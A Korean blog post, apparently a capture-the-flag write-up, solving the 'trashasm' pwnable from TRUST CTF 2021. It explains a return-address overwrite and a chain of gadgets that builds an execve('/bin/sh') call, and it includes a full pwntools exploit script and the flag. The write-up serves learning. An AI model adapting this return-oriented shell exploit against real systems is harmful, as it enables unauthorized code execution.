Sechack

TRUST CTF 2021 - 어셈.. 이렇게 하는거 맞죠? 풀이 본문

CTF

TRUST CTF 2021 - 어셈.. 이렇게 하는거 맞죠? 풀이

Sechack 2021. 3. 5. 17:44
반응형

TRUST CTF가 진행중인지 모르고 대회 당일날 reversing.kr이나 풀고있었다. 뒤늦게 지인이 왜 TRUST CTF참가 안했냐고 물어봐서 알게되었다. ㅋㅋ 뒤늦게라도 한번 쉬운 포너블문제 풀어보았다.

 

IDA 디스어셈 결과

순수 어셈이다. 헥스레이 쓸 필요가 없었다. 그리고 아래 /bin/sh문자열도 꽁으로 준다. 문자열을 출력하고 입력을 받고 종료하는 단순한 프로그램이다.

보통 ebp+offset꼴로 스택에 접근하던데 그냥 esp에 입력받는다. 순수 nasm이어서 그런지 평소에 보지 못했던 특이한 부분들이 좀 있었다. 뭐 어쨌든 esp에 입력받는다. gdb로 살펴보니까 esp+8이 ret이었다. (esp에 입력받고 pop을 두번 하므로 ret는 esp+8이 되게 된다.) 근데 이제부터가 문제이다. eip를 변조할 수 있다는것까지는 확인하였으나 순수 nasm으로 구현된지라 syscall을 사용해야 했다. 그런데 인자를 컨트롤 할 수 있는 가젯이 당연히도 없었다. 코드영역은 저기 보이는 _start함수가 전부... 저 안에서 해결해야한다. 한참을 고민하다가 add eax, 1을 이용해서 계속해서 루프돌아서 0x0b를 만들면 되지 않을까(32비트 리눅스의 execve system call번호는 0x0b)라는 생각을 했다. 일단 add eax, 1로 eip를 조작했더니 예상대로 eax레지스터가 조작이 된다. execve를 호출할 수 있게 된것이다. 근데 문제는 ecx와 edx이다. 이 두개의 레지스터를 0으로 만들어줘야한다.

 

pop eax
mov ecx, eax
mov edx, eax

 

고맙게도 이러한 부분이 보였다. 이부분 이용해서 eax를 0으로 만들고 ecx, edx까지 전부 0으로 만들 수가 있다. 그다음에는

 

add eax, 1
pop ebx
pop ebp
ret

 

이부분을 eax가 0x0b가 될때까지 연속으로 호출하면 된다. ebx에는 꽁으로 주는 /bin/sh문자열의 주소를 넣으면 된다.

이론상으로는 sys_execve("/bin/sh", 0, 0)이 호출되면서 쉘이 따이게 된다.

 

시나리오를 다 짜니까 또 고민하게 되었다. 입력은 한번밖에 못받으니까 한번의 입력에 위에서 말했던 모든 과정을 넣어야 한다. 생각해보니 고민할 필요가 없었다. 마지막에 ret이 있으니까 pop명령어만 고려해서 esp를 맞춰준다면 원하는 주소로 계속해서 체이닝할수가 있었다. 바로 익스플로잇 코드를 작성했다.

from pwn import * 

p = process("./trashasm")
#r = remote("server1.trustctf.xyz", 1124)

payload = b"a"*8
payload += p32(0x08049031)
payload += p32(0)
payload += p32(0x0804A03A)
payload += b"bbbb"

for i in range(0, 0x0b+1):
	payload += p32(0x08049039)
	payload += p32(0x0804A03A)
	payload += b"bbbb"

payload += p32(0x0804902F)

p.recvuntil("\n")
p.sendafter("\n", payload)

p.interactive()

 

다행히 한번에 쉘이 따였다. 대회가 끝나서 로컬에서 익스플로잇 했는데 아직 대회 서버가 열려있어서 서버에도 한번 익스플로잇 해보았다.

 

 

TRUST{S0rry...1t_was_my_f1rst_tim3..}

 

대회 당일날 안하고 대회 끝나고 푼게 후회되는 문제이다. 스코어보드 보니까 마음먹으면 충분히 TOP10 노릴 수 있었을것같...읍읍

반응형
Comments